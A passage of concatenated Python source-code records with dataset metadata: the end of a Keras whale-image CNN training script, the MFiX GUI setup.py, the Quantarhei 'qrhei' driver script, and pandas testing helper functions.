'same'}\n ]\n maxpooling_pool_size = (2, 2)\n maxpooling_dropout = 0.0\n \n dense_layers = [\n {'size': 128, 'activation': 'relu'}\n ]\n \n dense_dropout = 0.0\n final_dropout = 0.0\n \n data_version_number = '0_1'\n \n message = 'Previous test failed. Roll back to ID 14. Expect 0.5702, 1.5042.'\n\n\n@ex.capture\ndef log_performance(_run, logs):\n# _run.add_artifact(\"weights.hdf5\")\n _run.log_scalar(\"loss\", float(logs.get('loss')))\n _run.log_scalar(\"accuracy\", float(logs.get('acc')))\n _run.log_scalar(\"val_loss\", float(logs.get('val_loss')))\n _run.log_scalar(\"val_accuracy\", float(logs.get('val_acc')))\n _run.result = (str(round(logs.get('val_acc'), 4)), str(round(logs.get('val_loss'), 4)),\n str(round(logs.get('acc'), 4)), str(round(logs.get('loss'), 4)))\n\n# main script that will run automatically\n@ex.automain\ndef my_main(target_height, target_width, target_channel, \n epochs, batch_size,\n augment,\n convolution_layers, maxpooling_pool_size, maxpooling_dropout,\n dense_layers,\n dense_dropout, final_dropout,\n data_version_number):\n import keras\n from keras.preprocessing.image import ImageDataGenerator, array_to_img, img_to_array, load_img\n from keras.models import Sequential\n from keras.layers import Conv2D, MaxPooling2D\n from keras.layers import Activation, Dropout, Flatten, Dense\n from keras.callbacks import ModelCheckpoint, Callback\n from keras.layers.normalization import BatchNormalization\n \n #############################################################################\n # https://stackoverflow.com/questions/32419510/how-to-get-reproducible-results-in-keras\n # https://keras.io/getting-started/faq/#how-can-i-obtain-reproducible-results-using-keras-during-development\n # Apparently you may use different seed values at each stage\n seed_value= 0\n \n # 1. Set `PYTHONHASHSEED` environment variable at a fixed value\n import os\n os.environ['PYTHONHASHSEED'] = str(seed_value)\n \n # 2. Set `python` built-in pseudo-random generator at a fixed value\n import random\n random.seed(seed_value)\n \n # 3. Set `numpy` pseudo-random generator at a fixed value\n import numpy as np\n np.random.seed(seed_value)\n \n # 4. Set `tensorflow` pseudo-random generator at a fixed value\n import tensorflow as tf\n tf.set_random_seed(seed_value)\n \n session_conf = tf.ConfigProto(intra_op_parallelism_threads=1,\n inter_op_parallelism_threads=1,\n allow_soft_placement=True, \n device_count = {'CPU': 1}\n )\n \n from keras import backend as K\n \n sess = tf.Session(graph=tf.get_default_graph(), config=session_conf)\n K.set_session(sess)\n #############################################################################\n\n class LogPerformance(Callback):\n def on_epoch_end(self, _, logs={}):\n log_performance(logs=logs)\n \n TRAIN_PATH = 'C:/Users/KaiPin Liao/Documents/kaggle_whales/data/train_' + data_version_number + '/'\n VALIDATION_PATH = 'C:/Users/KaiPin Liao/Documents/kaggle_whales/data/validation_' + data_version_number + '/'\n TEST_PATH = 'C:/Users/KaiPin Liao/Documents/kaggle_whales/data/test_' + data_version_number + '/'\n \n ####################################################################################\n \n model = Sequential()\n \n # VGG-like\n model.add(Conv2D(convolution_layers[0]['filters'],\n kernel_size = convolution_layers[0]['kernel_size'],\n activation = convolution_layers[0]['activation'],\n input_shape = (target_height, target_width, target_channel)))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size = maxpooling_pool_size))\n \n for layer in convolution_layers[1:]:\n model.add(Conv2D(layer['filters'],\n kernel_size = layer['kernel_size'],\n activation = layer['activation']))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size = maxpooling_pool_size))\n model.add(Dropout(maxpooling_dropout))\n # the model so far outputs 3D feature maps (height, width, features)\n \n model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors\n \n for layer in dense_layers:\n model.add(Dense(layer['size'], activation = layer['activation']))\n model.add(BatchNormalization())\n if layer != dense_layers[-1]:\n model.add(Dropout(dense_dropout))\n \n model.add(Dropout(final_dropout))\n model.add(Dense(10))\n model.add(Activation('sigmoid'))\n \n model.compile(loss = 'categorical_crossentropy',\n optimizer = 'rmsprop', #'Adadelta',\n metrics = ['accuracy'])\n \n print(model.summary())\n \n####################################################################################\n# train_datagen = ImageDataGenerator(\n# rescale = augment[0]['rescale'],\n## rotation_range = augment[0]['rotation_range'],\n# shear_range = augment[0]['shear_range'],\n# zoom_range = augment[0]['zoom_range'],\n# horizontal_flip = augment[0]['horizontal_flip']\n# )\n train_datagen = ImageDataGenerator(\n rescale = augment[0]['rescale']\n )\n \n validation_datagen = ImageDataGenerator(rescale = augment[0]['rescale'])\n \n history = keras.callbacks.History()\n \n train_generator = train_datagen.flow_from_directory(TRAIN_PATH, \n target_size = (target_height, target_width),\n batch_size = batch_size,\n color_mode = 'grayscale',\n# shuffle = False\n seed = seed_value\n# save_to_dir = 'C:/Users/KaiPin Liao/Documents/kaggle_whales/data/augment_' + data_version_number + '/'\n )\n \n validation_generator = validation_datagen.flow_from_directory(VALIDATION_PATH, \n target_size = (target_height, target_width),\n batch_size = batch_size,\n color_mode = 'grayscale',\n# shuffle = False\n seed = seed_value\n )\n \n history = model.fit_generator(train_generator, \n validation_data = validation_generator,\n epochs = epochs,\n verbose = 2,\n steps_per_epoch = 342 // batch_size, # len(train_generator),\n validation_steps= 114 // batch_size, # len(validation_generator),\n callbacks = [\n ModelCheckpoint(\"weights.hdf5\", monitor='val_loss',\n save_best_only=True, mode='auto', period=1, verbose=0),\n LogPerformance()\n ]\n )\n \n model.load_weights(\"weights.hdf5\")\n model_loss, model_acc = model.evaluate_generator(generator = train_generator,\n steps = len(train_generator)) \n model_val_loss, model_val_acc = model.evaluate_generator(generator = validation_generator,\n steps = len(validation_generator))\n \n print('best model metrics on train set: ', str(round(model_acc, 4)), str(round(model_loss, 4)))\n print('best model metrics on valid set: ', str(round(model_val_acc, 4)), str(round(model_val_loss, 4)))\n return (str(round(model_val_acc, 4)), str(round(model_val_loss, 4)),\n str(round(model_acc, 4)), str(round(model_loss, 4)))", "sub_path": "notebook/05_model_augment.py", "file_name": "05_model_augment.py", "file_ext": "py", "file_size_in_byte": 10225, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sacred.Experiment", "line_number": 20, "usage_type": "call"}, {"api_name": "sacred.observers.MongoObserver.create", "line_number": 21, "usage_type": "call"}, {"api_name": "sacred.observers.MongoObserver", "line_number": 21, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 96, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 104, "usage_type": "attribute"}, {"api_name": "tensorflow.set_random_seed", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 110, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 118, "usage_type": "call"}, {"api_name": "tensorflow.get_default_graph", "line_number": 118, "usage_type": "call"}, {"api_name": "keras.backend.set_session", "line_number": 119, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 119, "usage_type": "name"}, {"api_name": "keras.callbacks.Callback", "line_number": 122, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 132, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 135, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 139, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 140, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 143, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 146, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 147, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 148, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 151, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 154, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 155, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 157, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 159, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 160, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 161, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 177, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 181, "usage_type": "call"}, {"api_name": "keras.callbacks.History", "line_number": 183, "usage_type": "call"}, {"api_name": "keras.callbacks", "line_number": 183, "usage_type": "attribute"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 209, "usage_type": "call"}]} +{"seq_id": "29556521", "text": "\"\"\"A setuptools based setup module for the MFiX GUI.\n\nSee:\nhttps://packaging.python.org/en/latest/distributing.html\nhttp://mfix.netl.doe.gov/\n\"\"\"\n\nimport platform\nimport io\nimport subprocess\nimport sys\nimport zipfile\n\nfrom os import path, walk, environ\n\n# must import setuptools and cygwinccompiler before numpy.distutils\nimport setuptools\n\nfrom numpy.distutils.core import setup\n\nfrom mfixgui.build_mfixsolver import BuildExtCommand, BuildMfixCommand, make_mfixsolver\n\nfrom mfixgui.version import __version__\n\nHERE = path.abspath(path.dirname(__file__))\nNAME = 'mfix'\n\n# Get the long description from the README file\nwith io.open(path.join(HERE, 'README.rst'), encoding='utf-8') as readme:\n LONG_DESCRIPTION = readme.read()\n\n\ndef get_data_files():\n \"\"\" walks subdirectories to generate a list of all files that get packaged as data_files \"\"\"\n data_files = []\n\n # to run autoreconf and generate build-aux autotools files\n cmd = 'bash configure_mfix'\n subprocess.check_call(cmd, shell=True)\n\n sphinx_cmd = ['make', '-C', 'doc', 'html']\n subprocess.check_call(sphinx_cmd)\n\n data_files.append((NAME, ['configure_mfix']))\n\n subdirs = [\n 'build-aux',\n 'defaults',\n 'doc',\n 'model',\n 'queue_templates',\n 'tests',\n 'tutorials',\n ]\n\n for subdir in subdirs:\n for root, _, files in walk(subdir):\n dir_files = []\n for f in files:\n dir_files.append(path.join(root, f))\n data_files.append((path.join(NAME, root), dir_files))\n\n if platform.system() == 'Windows':\n fortran_dlls_path = path.join('build-aux', 'Win64', 'FORTRAN_DLLS.zip')\n fortran_dlls = zipfile.ZipFile(fortran_dlls_path)\n data_files += fortran_dlls.namelist()\n fortran_dlls.extractall()\n\n return data_files\n\n\nclass TestLoadAllCommand(setuptools.Command):\n \"\"\" search for all mfix.dat files and open each in GUI with -t option \"\"\"\n\n description = \"load every mfix.dat file for testing\"\n user_options = []\n\n def initialize_options(self):\n pass\n\n def finalize_options(self):\n pass\n\n def run(self):\n cases = []\n for root, _, files in walk('.'):\n if 'mfix.dat' in files:\n cases.append(path.join(root, 'mfix.dat'))\n\n for case in cases:\n cmd = '%s -m mfixgui.gui -d -linfo -t %s' % (sys.executable, case)\n environ[\"MFIX_NO_VTK\"] = \"1\"\n subprocess.check_call(cmd, shell=True)\n\n\nsetup(\n name=NAME,\n cmdclass={\n 'build_ext': BuildExtCommand,\n 'build_mfix': BuildMfixCommand,\n 'test_load_all': TestLoadAllCommand,\n },\n\n # Versions should comply with PEP440. For a discussion on single-sourcing\n # the version across setup.py and the project code, see\n # https://packaging.python.org/en/latest/single_source_version.html\n version=__version__,\n description='A GUI for the MFiX computational fluid dynamics solver',\n long_description=LONG_DESCRIPTION,\n\n # The project's main homepage.\n url='http://mfix.netl.doe.gov/',\n\n # Author details\n author='Multiflow Science Group at NETL',\n author_email='mfix-gui@mfix.netl.doe.gov',\n platforms=[\"any\"],\n\n # Choose your license\n license='public domain',\n\n # See https://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n # How mature is this project? Common values are\n # 3 - Alpha\n # 4 - Beta\n # 5 - Production/Stable\n 'Development Status :: 3 - Alpha',\n\n # Indicate who your project is intended for\n 'Intended Audience :: Developers',\n 'Topic :: Computational Fluid Dynamics :: GUI',\n\n # Pick your license as you wish (should match \"license\" above)\n 'License :: public domain',\n\n # Specify the Python versions you support here. In particular, ensure\n # that you indicate whether you support Python 2, Python 3 or both.\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n ],\n\n # You can just specify the packages manually here if your project is\n # simple. Or you can use find_packages().\n packages=[\n 'mfixgui',\n 'mfixgui.colormaps',\n 'mfixgui.doc',\n 'mfixgui.doc.media',\n 'mfixgui.icons',\n 'mfixgui.tests',\n 'mfixgui.tools',\n 'mfixgui.uifiles',\n 'mfixgui.widgets',\n ],\n\n # List run-time dependencies here. These will be installed by pip when\n # your project is installed. For an analysis of \"install_requires\" vs pip's\n # requirements files see:\n # https://packaging.python.org/en/latest/requirements.html\n install_requires=[\n 'flask',\n 'numpy',\n 'psutil',\n 'qtpy>=1.2.1',\n ],\n ext_modules=[\n make_mfixsolver(),\n ],\n\n # If there are data files included in your packages that need to be\n # installed, specify them here. If using Python 2.6 or less, then these\n # have to be included in MANIFEST.in as well.\n package_data={\n 'mfixgui.colormaps': ['*'],\n 'mfixgui.icons': ['*.png'],\n 'mfixgui.tools': ['template_data.json'],\n 'mfixgui.uifiles': ['*'],\n 'mfixgui.widgets': ['burcat.pickle'],\n },\n\n # Although 'package_data' is the preferred approach, in some case you may\n # need to place data files outside of your packages. See:\n # http://docs.python.org/3.4/distutils/setupscript.html#installing-additional-files # noqa\n # In this case, 'data_file' will be installed into '/my_data'\n data_files=get_data_files(),\n\n # To provide executable scripts, use entry points in preference to the\n # \"scripts\" keyword. Entry points provide cross-platform support and allow\n # pip to create the appropriate form of executable for the target platform.\n entry_points={\n 'console_scripts': [\n 'mfix=mfixgui.gui:main',\n 'mfixsolver=mfixgui.pymfix:main',\n 'build_mfixsolver=mfixgui.build_mfixsolver:main',\n ],\n }, )\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 6216, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.abspath", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "io.open", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "name"}, {"api_name": "subprocess.check_call", "line_number": 39, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 42, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "name"}, {"api_name": "platform.system", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 65, "usage_type": "call"}, {"api_name": "setuptools.Command", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "name"}, {"api_name": "sys.executable", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 92, "usage_type": "name"}, {"api_name": "subprocess.check_call", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.distutils.core.setup", "line_number": 96, "usage_type": "call"}, {"api_name": "mfixgui.build_mfixsolver.BuildExtCommand", "line_number": 99, "usage_type": "name"}, {"api_name": "mfixgui.build_mfixsolver.BuildMfixCommand", "line_number": 100, "usage_type": "name"}, {"api_name": "mfixgui.version.__version__", "line_number": 107, "usage_type": "name"}, {"api_name": "mfixgui.build_mfixsolver.make_mfixsolver", "line_number": 171, "usage_type": "call"}]} +{"seq_id": "114615379", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n Driver script for Quantarhei package\n \n \n Author: Tomas Mancal, Charles University, Prague, Czech Republic\n email: mancal@karlov.mff.cuni.cz\n\n\n\"\"\"\nimport argparse\nimport subprocess\nfrom pathlib import Path\nimport os, sys\n\nfrom quantarhei import Manager\n\nimport quantarhei as qr\n\n \ndef main():\n\n parser = argparse.ArgumentParser(\n description='Quantarhei Package Driver')\n \n\n parser.add_argument(\"script\", metavar='script', type=str, \n help='script file to be processed', nargs='?') \n parser.add_argument(\"-v\", \"--version\", action=\"store_true\",\n help=\"shows Quantarhei package version\")\n parser.add_argument(\"-i\", \"--info\", action='store_true', \n help=\"shows detailed information about Quantarhei\"+\n \" installation\")\n parser.add_argument(\"-s\", \"--silent\", action='store_true', \n help=\"no output from qrhei script itself\")\n parser.add_argument(\"-p\", \"--parallel\", action='store_true', \n help=\"executes the code in parallel\")\n parser.add_argument(\"-n\", \"--nprocesses\", type=int, default=0,\n help=\"number of processes to start\")\n \n parser.add_argument(\"-b\", \"--benchmark\", type=int, default=0, \n help=\"run one of the predefined benchmark\"\n +\"calculations\")\n \n parser.add_argument(\"-y\", \"--verbosity\", type=int, default=5, \n help=\"defines verbosity between 0 and 10\")\n \n args = parser.parse_args() \n \n \n nprocesses = args.nprocesses\n flag_parallel = args.parallel\n flag_silent = args.silent\n\n m = qr.Manager()\n m.verbosity = args.verbosity\n \n if args.silent:\n m.verbosity = 0 \n\n #\n # show longer info\n #\n if args.info:\n qr.printlog(\"\\n\" \n +\"qrhei: Quantarhei Package Driver\\n\"\n +\"\\n\"\n +\"MPI parallelization enabled: \", flag_parallel,\n verbose=True, loglevel=0)\n if not args.version:\n qr.printlog(\"Package version: \", Manager().version, \"\\n\",\n verbose=True, loglevel=0)\n return\n \n #\n # show just Quantarhei version number\n #\n if args.version:\n qr.printlog(\"Quantarhei package version: \", Manager().version, \"\\n\",\n verbose=True, loglevel=0)\n return\n \n #\n # run benchmark\n #\n if args.benchmark > 0:\n import time\n\n qr.printlog(\"Running benchmark no. \", args.benchmark, verbose=True,\n loglevel=1)\n import quantarhei.benchmarks.bm_001 as bm \n t1 = time.time()\n bm.main()\n t2 = time.time()\n qr.printlog(\"... done in\", t2-t1, \"sec\", verbose=True,\n loglevel=1)\n \n return\n \n \n\n ########################################################################### \n #\n # Running a script\n #\n ###########################################################################\n \n #\n # Script name\n # \n scr = args.script\n\n #\n # Greeting \n #\n qr.printlog(\"Running Quantarhei (python) script file: \", scr,\n verbose=True, loglevel=3)\n\n #\n # Setting environment to see shared libraries\n #\n if True:\n \n # fix to get it work on Python 3.4 and earlier\n if sys.version_info[1] > 4:\n # home\n home = str(Path.home())\n else:\n from os.path import expanduser\n home = expanduser(\"~\")\n #home = str(Path.home())\n slib_path = os.path.join(home,\"lib\")\n \n from sys import platform as _platform\n \n if _platform == \"linux\" or _platform == \"linux2\":\n # linux\n if not flag_silent:\n print(\"Running on platform \" +_platform+\" (linux)\")\n print(\"Setting shared libraty path to: \"+slib_path)\n os.environ[\"LD_LIBRARY_PATH\"]=slib_path\n \n elif _platform == \"darwin\":\n # MAC OS X\n if not flag_silent:\n print(\"Running on platform \" +_platform+\" (macOS)\")\n print(\"Setting shared libraty path to: \"+slib_path)\n os.environ[\"DYLD_LIBRARY_PATH\"]=slib_path\n \n elif _platform == \"win32\":\n # Windows\n print(_platform+\" win32\")\n \n elif _platform == \"win64\":\n # Windows 64-bit\n print(_platform+\" win64\")\n \n else:\n print(_platform+\" unrecognized\")\n raise Exception(\"Unrecognized platform\")\n \n \n #\n # Run serial or parallel \n #\n \n if flag_parallel:\n \n #\n # get parallel configuration\n #\n cpu_count = 0\n try:\n import multiprocessing\n cpu_count = multiprocessing.cpu_count()\n except (ImportError, NotImplementedError):\n pass \n \n prl_exec = \"mpirun\"\n prl_n = \"-n\"\n \n if cpu_count != 0:\n prl_np = cpu_count\n else:\n prl_np = 4\n \n if nprocesses != 0:\n prl_np = nprocesses\n \n engine = \"qrhei -s \"\n \n # running MPI with proper parallel configuration\n prl_cmd = prl_exec+\" \"+prl_n+\" \"+str(prl_np)+\" \"\n cmd = prl_cmd+engine+scr\n if not flag_silent:\n print(\"System reports\", cpu_count,\"processors\")\n print(\"Starting parallel execution with\",prl_np,\n \"processes (executing command below)\")\n print(cmd)\n print(\"\")\n p = subprocess.Popen(cmd,\n shell=True, stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n\n if not flag_silent:\n print(\" --- output below ---\")\n \n # read and print output\n for line in iter(p.stdout.readline, b''):\n #for line in p.stdout.readlines():\n ln = line.decode()\n # line is returned with a \\n character at the end \n # ln = ln[0:len(ln)-2]\n print(ln, end=\"\", flush=True)\n \n retval = p.wait() \n \n else:\n \n qr.printlog(\" --- output below ---\", verbose=True, loglevel=0)\n # running the script within the same interpreter\n exec(open(scr).read(), globals())\n \n retval = 0 \n \n #\n # Saying good bye\n #\n if retval == 0:\n qr.printlog(\" --- output above --- \", verbose=True, loglevel=0)\n qr.printlog(\"Finshed sucessfully; exit code: \", retval,\n verbose=True, loglevel=0)\n else:\n qr.printlog(\"Warning, exit code: \", retval, verbose=True, loglevel=0)\n \n \n", "sub_path": "quantarhei/scripts/qrhei.py", "file_name": "qrhei.py", "file_ext": "py", "file_size_in_byte": 6937, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 23, "usage_type": "call"}, {"api_name": "quantarhei.Manager", "line_number": 55, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 65, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 71, "usage_type": "call"}, {"api_name": "quantarhei.Manager", "line_number": 71, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 79, "usage_type": "call"}, {"api_name": "quantarhei.Manager", "line_number": 79, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 89, "usage_type": "call"}, {"api_name": "time.time", "line_number": 92, "usage_type": "call"}, {"api_name": "quantarhei.benchmarks.bm_001.main", "line_number": 93, "usage_type": "call"}, {"api_name": "quantarhei.benchmarks.bm_001", "line_number": 93, "usage_type": "name"}, {"api_name": "time.time", "line_number": 94, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 95, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 116, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 125, "usage_type": "attribute"}, {"api_name": "pathlib.Path.home", "line_number": 127, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 127, "usage_type": "name"}, {"api_name": "os.path.expanduser", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 136, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 139, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 141, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 143, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 146, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 148, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 150, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 152, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 154, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 156, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 159, "usage_type": "name"}, {"api_name": "multiprocessing.cpu_count", "line_number": 175, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 201, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 202, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 203, "usage_type": "attribute"}, {"api_name": "quantarhei.printlog", "line_number": 220, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 230, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 231, "usage_type": "call"}, {"api_name": "quantarhei.printlog", "line_number": 234, "usage_type": "call"}]} +{"seq_id": "650977325", "text": "# pylint: disable-msg=W0402\n\nfrom datetime import datetime\nimport random\nimport string\nimport sys\n\nfrom numpy.random import randn\nimport numpy as np\n\nfrom pandas.core.common import isnull\nimport pandas.core.index as index\nimport pandas.core.daterange as daterange\nimport pandas.core.series as series\nimport pandas.core.frame as frame\nimport pandas.core.panel as panel\n\n# to_reload = ['index', 'daterange', 'series', 'frame', 'matrix', 'panel']\n# for mod in to_reload:\n# reload(locals()[mod])\n\nDateRange = daterange.DateRange\nIndex = index.Index\nSeries = series.Series\nDataFrame = frame.DataFrame\nWidePanel = panel.WidePanel\n\nN = 30\nK = 4\n\ndef rands(n):\n choices = string.letters + string.digits\n return ''.join([random.choice(choices) for _ in xrange(n)])\n\n#-------------------------------------------------------------------------------\n# Console debugging tools\n\ndef debug(f, *args, **kwargs):\n from pdb import Pdb as OldPdb\n try:\n from IPython.core.debugger import Pdb\n kw = dict(color_scheme='Linux')\n except ImportError:\n Pdb = OldPdb\n kw = {}\n pdb = Pdb(**kw)\n return pdb.runcall(f, *args, **kwargs)\n\ndef set_trace():\n from IPython.core.debugger import Pdb\n try:\n Pdb(color_scheme='Linux').set_trace(sys._getframe().f_back)\n except:\n from pdb import Pdb as OldPdb\n OldPdb().set_trace(sys._getframe().f_back)\n\n#-------------------------------------------------------------------------------\n# Comparators\n\ndef equalContents(arr1, arr2):\n \"\"\"Checks if the set of unique elements of arr1 and arr2 are equivalent.\n \"\"\"\n return frozenset(arr1) == frozenset(arr2)\n\ndef isiterable(obj):\n return hasattr(obj, '__iter__')\n\ndef assert_almost_equal(a, b):\n if isinstance(a, dict) or isinstance(b, dict):\n return assert_dict_equal(a, b)\n\n if isiterable(a):\n np.testing.assert_(isiterable(b))\n np.testing.assert_equal(len(a), len(b))\n for i in xrange(len(a)):\n assert_almost_equal(a[i], b[i])\n return True\n\n err_msg = lambda a, b: 'expected %.5f but got %.5f' % (a, b)\n\n if isnull(a):\n np.testing.assert_(isnull(b))\n return\n\n if isinstance(a, (bool, float, int)):\n # case for zero\n if abs(a) < 1e-5:\n np.testing.assert_almost_equal(\n a, b, decimal=5, err_msg=err_msg(a, b), verbose=False)\n else:\n np.testing.assert_almost_equal(\n 1, a/b, decimal=5, err_msg=err_msg(a, b), verbose=False)\n else:\n assert(a == b)\n\ndef is_sorted(seq):\n return assert_almost_equal(seq, np.sort(np.array(seq)))\n\ndef assert_dict_equal(a, b, compare_keys=True):\n a_keys = frozenset(a.keys())\n b_keys = frozenset(b.keys())\n\n if compare_keys:\n assert(a_keys == b_keys)\n\n for k in a_keys:\n assert_almost_equal(a[k], b[k])\n\ndef assert_series_equal(left, right):\n assert(left.dtype == right.dtype)\n assert_almost_equal(left, right)\n assert(left.index.equals(right.index))\n\ndef assert_frame_equal(left, right):\n for col, series in left.iteritems():\n assert(col in right)\n assert_series_equal(series, right[col])\n for col in right:\n assert(col in left)\n assert(left.columns.equals(right.columns))\n\ndef assert_panel_equal(left, right):\n assert(left.items.equals(right.items))\n assert(left.major_axis.equals(right.major_axis))\n assert(left.minor_axis.equals(right.minor_axis))\n\n for col, series in left.iteritems():\n assert(col in right)\n assert_frame_equal(series, right[col])\n\n for col in right:\n assert(col in left)\n\ndef assert_contains_all(iterable, dic):\n for k in iterable:\n assert(k in dic)\n\ndef getCols(k):\n return string.ascii_uppercase[:k]\n\ndef makeStringIndex(k):\n return Index([rands(10) for _ in xrange(k)])\n\ndef makeIntIndex(k):\n return Index(np.arange(k))\n\ndef makeDateIndex(k):\n dates = list(DateRange(datetime(2000, 1, 1), periods=k))\n return Index(dates)\n\ndef makeFloatSeries():\n index = makeStringIndex(N)\n return Series(randn(N), index=index)\n\ndef makeStringSeries():\n index = makeStringIndex(N)\n return Series(randn(N), index=index)\n\ndef makeObjectSeries():\n dateIndex = makeDateIndex(N)\n index = makeStringIndex(N)\n return Series(dateIndex, index=index)\n\ndef makeTimeSeries():\n return Series(randn(N), index=makeDateIndex(N))\n\ndef getArangeMat():\n return np.arange(N * K).reshape((N, K))\n\ndef getSeriesData():\n index = makeStringIndex(N)\n\n return dict((c, Series(randn(N), index=index)) for c in getCols(K))\n\ndef getTimeSeriesData():\n return dict((c, makeTimeSeries()) for c in getCols(K))\n\ndef getMixedTypeDict():\n index = Index(['a', 'b', 'c', 'd', 'e'])\n\n data = {\n 'A' : [0., 1., 2., 3., 4.],\n 'B' : [0., 1., 0., 1., 0.],\n 'C' : ['foo1', 'foo2', 'foo3', 'foo4', 'foo5'],\n 'D' : DateRange('1/1/2009', periods=5)\n }\n\n return index, data\n\ndef makeDataFrame():\n data = getSeriesData()\n return DataFrame(data)\n\ndef makeTimeDataFrame():\n data = getTimeSeriesData()\n return DataFrame(data)\n\ndef makeWidePanel():\n cols = ['Item' + c for c in string.ascii_uppercase[:K - 1]]\n data = dict((c, makeTimeDataFrame()) for c in cols)\n return WidePanel.fromDict(data)\n\ndef add_nans(panel):\n I, J, N = panel.shape\n for i, item in enumerate(panel.items):\n dm = panel[item]\n for j, col in enumerate(dm.columns):\n dm[col][:i + j] = np.NaN\n\ndef makeLongPanel():\n wp = makeWidePanel()\n add_nans(wp)\n\n return wp.toLong()\n\n", "sub_path": "pandas/util/testing.py", "file_name": "testing.py", "file_ext": "py", "file_size_in_byte": 5603, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.core.daterange.DateRange", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pandas.core.daterange", "line_number": 22, "usage_type": "name"}, {"api_name": "pandas.core.index.Index", "line_number": 23, "usage_type": "attribute"}, {"api_name": 